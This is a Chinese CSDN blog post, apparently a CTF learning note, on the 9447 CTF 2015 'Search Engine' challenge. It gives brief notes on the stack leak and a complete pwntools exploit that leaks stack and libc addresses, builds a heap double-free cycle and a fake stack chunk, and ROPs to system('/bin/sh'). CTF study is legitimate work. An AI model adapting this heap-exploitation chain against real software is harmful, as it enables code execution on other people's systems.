2020-11-18学习经历

9447 CTF 2015: Search Engine

参考链接:https://www.gulshansingh.com/posts/9447-ctf-2015-search-engine-writeup/

程序分析:

可以看wiki或者我昨天的博客https://editor.csdn.net/md/?articleId=109756595

简单解惑:

1.如果说, 第一次输入’a’*48的话没有获得地址可能如同下图一样下一个地址上存放的是\x00之类的产生了截断
在这里插入图片描述
又因为该程序get num失败后是递归的调用本身所以会向低地址新建栈帧,而不是重复使用,使用所以多调用几次就可以获得地址了在这里插入图片描述
2. 在脚本的leak函数中, 由于第一个node可能会有指针低地址为’\x00’情况, 所以可以根据自己需要再加点小chunk

总结:

程序流程是懂了,但是如何确定栈地址却没有理解, 别的资料上也没细说,就只发一下exp吧:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
sh=process('./9447-search-engine')
elf=ELF('./9447-search-engine')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.binary='./9447-search-engine'
context.log_level='debug'
prdi_ret=0x400e23

def search_with_a_word(word):
    sh.recv()
    sh.sendline('1')
    sh.recv()
    sh.sendline(str(len(word)))
    sh.recv()
    sh.sendline(word)

def index_a_sentence(word):
    sh.sendline('2')
    sh.sendline(str(len(word)))
    sh.sendline(word)

def leak_stack():
    #gdb.attach(sh,'b *0x0400A40')
    sh.recvuntil('3: Quit\n')
    sh.sendline('a'*48)
    sh.recv()
    sh.sendline('a'*48)
    sh.recvuntil('a'*48)
    stack_leaked=u64(sh.recv(6).ljust(8,'\x00'))
    return stack_leaked

def leak():
    index_a_sentence(('a'*12+' b ').ljust(40,'c'))
    index_a_sentence('w'*8)#make data in low add != 0
    search_with_a_word('a'*12)
    sh.sendline('y')
    index_a_sentence('d'*64)
    search_with_a_word('\x00')
    sh.sendline('y')

    node=''
    node+=p64(0x0400E90)#'Enter'
    node+=p64(5)
    node+=p64(elf.got['puts'])
    node+=p64(64)
    node+=p64(0)
    assert len(node)==40
    index_a_sentence(node)
    
    search_with_a_word('Enter')
    sh.recvuntil('Found 64: ')
    puts_addr=u64(sh.recv()[:8])
    libcbase=puts_addr-libc.sym['puts']
    sh.sendline('n')
    return libcbase

def make_cycle():
    index_a_sentence('a'*54+' d')
    index_a_sentence('b'*54+' d')
    index_a_sentence('c'*54+' d')

    search_with_a_word('d')
    sh.sendline('y')
    sh.sendline('y')
    sh.sendline('y')
    search_with_a_word('\x00')
    sh.sendline('y')
    sh.sendline('n')

def make_fake_chunk(addr):
    fake_chunk=p64(addr)
    fake_chunk=fake_chunk.ljust(56)
    index_a_sentence(fake_chunk)

def allocate_fake_chunk(bsh_addr,sys_addr):
    index_a_sentence('a'*56)
    index_a_sentence('a'*56)
    buf='A'*30
    buf+=p64(prdi_ret)
    buf+=p64(bsh_addr)
    buf+=p64(sys_addr)
    buf=buf.ljust(56,'C')
    index_a_sentence(buf)

stack_leaked=leak_stack()
print 'stack be leaked is '+hex(stack_leaked)
stack_addr=stack_leaked+0x22-8

libcbase=leak()
print 'libcbase is '+hex(libcbase)
sys_addr=libcbase+libc.sym['system']
bsh_addr=libcbase+libc.search('/bin/sh').next()

make_cycle()
make_fake_chunk(stack_addr)
allocate_fake_chunk(bsh_addr,sys_addr)

sh.interactive()

Guess you like

Origin blog.csdn.net/eeeeeight/article/details/109789986